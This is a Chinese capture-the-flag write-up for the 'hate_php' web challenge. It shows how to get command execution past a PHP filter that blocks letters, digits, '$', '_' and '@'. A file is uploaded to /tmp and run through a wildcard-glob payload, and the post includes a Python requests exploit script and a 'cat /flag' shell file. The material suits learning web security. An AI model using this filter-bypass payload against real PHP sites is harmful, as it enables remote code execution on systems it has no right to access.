-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php
打开网址直接告诉你过滤的代码,把字母数字和$、_、@都过滤了,直接放弃
然后百度搜了这道题的答案,感觉发现了新大陆一样,下面是相关的几篇文章,强烈推荐阅读:
过滤了大写字母和数字的绕过方法:
/PENETRATION/webshell-without-alphanum.html
过滤了大小写字母、数字、‘$’和‘_’
/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list
看完了这两篇文章这道题就基本解决了
先看本题的思路,同样是上传一个shell命令文件到网站的tmp目录下,用linux系统的特性构造payload执行这个文件
下面是简单的利用代码
import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/0101 Firefox/98.0'}payload = '?code=?><?=`. /???/????????[?-[]`;?>'url = 'http://challenge-25e97be714485b25.:10800/' + payloadfiles = {'file':open('./payload.txt','r')}proxy = {'http':'http://127.0.0.1:8888','https':'http://127.0.0.1:8888'}response = requests.post(url=url, headers=headers, files=files, proxies=proxy, verify=False).textprint(response)
上传的payload文件的内容
#!/bin/shcat /flag
这里有个问题就是上传的文件在服务端会给一个随机的名称,所以可能不会一次就成功,需要多找几次,结果如下
这里是我做题的时侯的一个问题的记录
为什么php可以接受post请求上传的文件?
查阅资料发现php的配置有一个选项
查看一下服务器的php配置文件的信息,查看phpinfo的信息
通过修改payload里面的内容如下可以查看到phpinfo的信息(可以尝试其他方式)
从结果可以看到一些重要的信息
file_uploads = on 说明php文件可以接受post的文件上传请求